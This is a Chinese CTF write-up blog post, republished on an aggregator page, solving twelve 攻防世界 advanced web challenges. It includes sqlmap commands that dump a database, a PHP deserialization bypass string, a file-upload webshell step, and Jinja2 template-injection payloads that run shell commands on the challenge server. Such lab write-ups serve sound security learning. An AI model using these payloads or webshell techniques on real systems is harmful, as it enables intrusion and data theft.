IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 攻防世界-高手进阶区001-012 -> 正文阅读

[PHP知识库]攻防世界-高手进阶区001-012

新手的我,来到高阶区,做题做的真挺吃力的
慢慢来,边做题边学习吧🤠


001:baby_web

打开页面,首页是1.php,根据题目提示,尝试访问index.php

?发现存在页面跳转,且响应码为302(代表index.php确实存在,但被重定向到了1.php):

查看访问index.php的数据包,发现请求包中存在flag:


002:Training-WWW-Robots

打开网页,阅读英语:

根据前面的知识,访问robots.txt文件:

?显示不允许的文件,那我就访问下:


003:php_rce

打开页面,就显示一个框架名:

?搜一下这个框架有什么漏洞,试一下这个漏洞:

?验证,利用system函数远程命令执行:(说明存在这个漏洞)

?查看当前目录下有什么内容:

往上找,找到flag:

?ls显示路径,看来是文件,用cat打开:

本题参考:ThinkPHP 5.x远程命令执行漏洞分析与复现 - 渗透测试中心 - 博客园


004:Web_php_include

页面打开就是一段php代码:

?[小知识点]
php中,strstr()函数,是搜索字符串在另一字符串中是否存在,如存在,则返回该字符串及后面剩余部分,否则返回FALSE。(这个函数区分大小写)

方法一:

利用文件包含漏洞,用hello参数将执行命令显示:

显示 fl4gisisish3r3.php 文件:

?方法二:

利用php://input(可以读取没有处理过的POST数据):


005:ice-06

打开是个管理系统,并且左边只有“报表中心”会有新页面:

?看到url里有id参数,首先进行爆破:

id=2333时,长度不同:

?访问:


006:warmup

打开网页,是个如此滑稽的表情包。。。
查看元素:

?尝试访问source.php:

?出现hint.php文件,先尝试访问:

得到flag所在的文件名

回到source.php,分析代码:
存在include方法和file参数,file参数传进来会进行3次判断:判断是否为空,判断是否为字符串,利用自定义函数进行判断;因前两个我们本身就满足,所以主要围绕第三个判断展开。

[小知识点]
mb_substr()函数为截取字符串,题目中为 截取file参数后问号首次出现前的部分。

通过分析,可得到payload:?file=source.php?(payload) 或 ?file=hint.php?(payload)

一级一级往上找,找到flag:

?

本题参考:攻防世界-web高手进阶篇-warmup_iZer_0的博客-CSDN博客_攻防世界warmup


007:NewsCenter

打开是个搜索框,那得试试sql;

通过查看数据包,可以看到数据通过POST提交;把网页放到sqlmap里跑跑:

python sqlmap.py -u http://111.200.241.244:62280/ --batch --thread 10 --data="search=123"

有了:

?看数据库:

python sqlmap.py -u http://111.200.241.244:62280/ --batch --thread 10 --data="search=123" --dbs

?

?看news库的表:

python sqlmap.py -u http://111.200.241.244:62280/ --batch --thread 10 --data="search=123" -D news --tables

?

?爆secret_table表:

python sqlmap.py -u http://111.200.241.244:62280/ --batch --thread 10 --data="search=123" -D news -T secret_table --dump

?


008:NaNNaNNaNNaN-Batman

下载附件,打开,一堆乱码:

?其中可以看到开头的下划线是个变量,然后有一些html代码,判断应该是网页代码;将文件代码后面的eval()改为alert(),使之弹窗,并改后缀为html:

用网页访问,弹窗正常代码:

?将弹窗内容复制下来,整理一下:

?代码审计:
①输入字符串的长度要等于16
②输入字符串要以 "be0f23" 开头
③输入字符串里要有 "233ac" 和 "c7be9" 字段
④输入字符串要以 "e98aa" 结尾

方法一:

构造字符串:be0f233ac7be98aa
在初始的web100.html(有eval()函数的那个)中输入,点击ok就有了

?方法二:

将整理好的代码中,把限制条件全部删掉,直接运行flag核心代码部分:
?
直接运行就得到flag:


009:PHP2

打开网页,就一句话,查看源代码,也是啥也没有

上御剑:

?一开始一直只扫到index.php,看了别人的攻略,才知道有index.phps 🙄~

打开index.phps,一段代码:

可以看到,代码中对传入参数id的值,进行了一次url解码,如果解码后的值等于admin,则得到flag,但因为浏览器会自动进行一次url解码,所以我们要将 "admin" 进行两次url编码

原始:admin
一次url编码:%61%64%6D%69%6E
两次url编码:%2561%2564%256D%2569%256E

?


010:unserialize3

打开网页,一段代码:

其中定义有xctf类,反序列化时会自动调用的__wakeup()函数;
因为调用__wakeup()函数会返回"bad requests",所以我们要绕过它

整理代码,构造一个序列化后的字符串:
?

?

[小知识点]
当“序列化的字符串中的属性值个数”>“属性个数”时,会导致反序列异常,从而跳过__wakeup()

所以构造payload:

原来:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}


011:upload1

打开网页,为文件上传,试着直接上传php文件或asp文件,页面直接弹出:

?判断为前端验证后缀;选择上传1.png,其中1.png中包含一句话木马:

?上传时,在BP抓包,将文件后缀改为php:

?上传成功,返回保存路径:

?用菜刀连接:

?


012:Web_python_template_injection

打开页面,提示为python模板注入:

判断是否存在ssti漏洞:

?说明存在ssti漏洞

?[小知识点]
1、Flask中使用了Jinja2作为模板渲染引擎,Jinja2模板中使用{{}}语法表示一个变量,它是一种特殊的占位符,当利用Jinja2进行渲染的时候,它会把这些特殊的占位符进行填充、替换。
2、Jinja2中,有三种语法:
? ? ? ? ①控制结构{% %}
? ? ? ? ②变量取值{{ }}

? ? ? ? ③注释{# #}

因为提示为python注入,所以注入脚本肯定也是python,这时尝试得到"os.system"或"os.popen",前者返回“退出状态码”,后者以file形式返回“输出内容”,所以我们选择"os.popen"。

[小知识点]
1、__init__:类的初始化方法
2、__class__:返回对象所属的类
3、__base__:返回该类所继承的基类
4、__mro__:返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析
5、__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用列表

查看所有模块:

http://111.200.241.244:51678/{{[].__class__.__base__.__subclasses__()}}

?

?上面爆出的信息中,可得到"os"所在的"site._Printer"在第72位("__subclasses__()[72]")
调用服务器的控制台,获取ls的结果:

http://111.200.241.244:51678/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

?将上面的ls改为 "cat fl4g":

http://111.200.241.244:51678/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

这题我感觉好难,涉及知识盲区了😅 但学到新知识了👍

参考:Jinja2 模板用法 - 简书

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-26 09:55:57  更:2021-09-26 09:57:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 16:43:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码